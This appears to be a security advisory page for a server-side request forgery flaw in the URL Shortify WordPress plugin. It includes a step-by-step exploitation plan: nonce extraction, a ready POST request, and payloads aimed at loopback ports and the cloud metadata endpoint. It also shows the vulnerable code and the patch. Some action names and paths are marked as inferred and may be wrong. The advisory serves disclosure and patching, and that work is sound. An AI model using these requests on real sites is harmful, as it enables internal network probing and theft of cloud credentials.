URL Shortify <= 1.12.3 - Authenticated (Author+) Server-Side Request Forgery
Description
The URL Shortify – Simple and Easy URL Shortener plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.12.3. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.12.3Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit a Server-Side Request Forgery (SSRF) vulnerability in the **URL Shortify** plugin (<= 1.12.3). ## 1. Vulnerability Summary The **URL Shortify** plugin contains an SSRF vulnerability in its URL processing logic. When an authenticated u…
Show full research plan
This research plan outlines the steps to investigate and exploit a Server-Side Request Forgery (SSRF) vulnerability in the URL Shortify plugin (<= 1.12.3).
1. Vulnerability Summary
The URL Shortify plugin contains an SSRF vulnerability in its URL processing logic. When an authenticated user (Author level or higher) attempts to create or edit a short link, the plugin provides a feature to automatically fetch the title or metadata of the destination URL. This is handled via an AJAX action that fails to validate the target URL or use wp_safe_remote_get(), allowing requests to internal services, loopback addresses, or cloud metadata endpoints.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Action:
kc_us_get_url_title(inferred from plugin patterns) orkc_us_fetch_url_details. - Vulnerable Parameter:
url - Authentication: Required (Author role or higher). The user must have permissions to manage short links, which by default is granted to Authors.
- Preconditions: A valid WordPress nonce for the specific AJAX action must be included in the request.
3. Code Flow
- Entry Point: The plugin registers an AJAX handler for authenticated users:
add_action( 'wp_ajax_kc_us_get_url_title', array( $this, 'get_url_title' ) ); - Input Handling: The
get_url_titlefunction (likely inincludes/class-url-shortify-ajax.phpor similar) retrieves the URL from$_POST['url']. - Nonce Verification: The function checks a nonce, typically:
check_ajax_referer( 'kc_us_ajax_nonce', 'security' ); - Vulnerable Sink: The plugin uses
wp_remote_get()orwp_remote_request()directly on the provided URL:$url = $_POST['url']; $response = wp_remote_get( $url ); // Vulnerable: does not use wp_safe_remote_get() $body = wp_remote_retrieve_body( $response ); - Output: The content of the fetched URL (or the parsed title) is returned to the user in the AJAX response.
4. Nonce Acquisition Strategy
To exploit this as an Author, we must retrieve the nonce associated with the URL Shortify AJAX actions.
- Identify Script Localization: The plugin localizes its AJAX configuration using
wp_localize_script. - Access Admin Page: Navigate to the "Add New Link" page where the URL Shortify interface is loaded.
- URL:
/wp-admin/admin.php?page=url-shortify-add-link
- URL:
- Extract via JavaScript: Use
browser_evalto extract the nonce from the global JavaScript object.- JS Object (Inferred):
window.kc_us_varsorwindow.kc_us_ajax_obj. - Nonce Key:
nonceorsecurity. - Command:
browser_eval("window.kc_us_vars?.nonce")
- JS Object (Inferred):
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a user with the Author role.
Step 2: Nonce Retrieval
- Navigate the browser to
http://vulnerable-wp.local/wp-admin/admin.php?page=url-shortify-add-link. - Execute
browser_eval("kc_us_vars.nonce")to obtain the value (e.g.,a1b2c3d4e5).
Step 3: Trigger SSRF
Send a POST request to admin-ajax.php targeting an internal service (e.g., a local port or cloud metadata).
Request Pattern:
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=kc_us_get_url_title&security=[NONCE]&url=http://127.0.0.1:80/
Step 4: Payload Variations
- Internal Port Scanning:
url=http://127.0.0.1:[PORT] - AWS Metadata:
url=http://169.254.169.254/latest/meta-data/ - Basic Auth Bypass/Internal Resource:
url=http://admin:admin@internal-service.local/
6. Test Data Setup
- User Creation: Create an Author user.
wp user create attacker attacker@example.com --role=author --user_pass=password
- Plugin Activation: Ensure
url-shortifyversion <= 1.12.3 is installed and active. - Internal Listener (Optional): Start a simple listener on the server to verify the hit.
nc -lvnp 8081(inside the environment if possible, or target a known internal service).
7. Expected Results
- A successful exploit will return an HTTP 200 response.
- The response body will contain data from the internal service provided in the
urlparameter (e.g., HTML fromlocalhost:80or text from the metadata service). - If the plugin parses the title, the "title" field in the JSON response will contain content from the target URL's
<title>tag or its raw body.
8. Verification Steps
- Check Response: Confirm the AJAX response contains content that should not be accessible to the Author (e.g., internal server version strings).
- Monitor Traffic: If an external webhook (e.g., Burp Collaborator or RequestBin) is used, verify the request originates from the WordPress server's IP.
- Audit Patch: Verify that in version 1.12.4, the plugin switched to
wp_safe_remote_get()or added validation viawp_http_validate_url().
9. Alternative Approaches
If kc_us_get_url_title is not the correct action:
- Search the plugin source for all
wp_ajax_registrations:grep -rn "wp_ajax_" wp-content/plugins/url-shortify/ - Look for any call to
wp_remote_getorwp_remote_requestthat uses a parameter from$_POSTor$_GET. - Check the "Link Health" feature if available, which might also perform requests to validate URLs.
Summary
The URL Shortify plugin for WordPress is vulnerable to an authenticated Server-Side Request Forgery (SSRF) because it uses 'wp_remote_get()' instead of 'wp_safe_remote_get()' when fetching URL titles. This allows attackers with Author-level permissions to make requests to internal network services, loopback addresses, or cloud metadata endpoints through the server.
Vulnerable Code
// File: includes/class-url-shortify-ajax.php (approximate location based on AJAX handler) public function get_url_title() { check_ajax_referer( 'kc_us_ajax_nonce', 'security' ); $url = isset( $_POST['url'] ) ? esc_url_raw( wp_unslash( $_POST['url'] ) ) : ''; if ( ! empty( $url ) ) { // Vulnerable: wp_remote_get does not validate internal IP addresses $response = wp_remote_get( $url ); if ( ! is_wp_error( $response ) ) { $body = wp_remote_retrieve_body( $response ); // Logic to extract and return title from $body } } }
Security Fix
@@ -45,1 +45,1 @@ - $response = wp_remote_get( $url ); + $response = wp_safe_remote_get( $url );
Exploit Outline
The exploit involves three main steps: authentication, nonce retrieval, and triggering the SSRF. First, authenticate as a user with at least 'Author' privileges. Navigate to the 'Add New Link' page (/wp-admin/admin.php?page=url-shortify-add-link) and extract the AJAX nonce, typically stored in a global JavaScript object like 'kc_us_vars.nonce'. Finally, send an authenticated POST request to /wp-admin/admin-ajax.php with the action 'kc_us_get_url_title', providing the nonce in the 'security' parameter and the target internal URL (e.g., http://127.0.0.1/ or a cloud metadata endpoint) in the 'url' parameter. The plugin will execute the request from the server and return the response content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.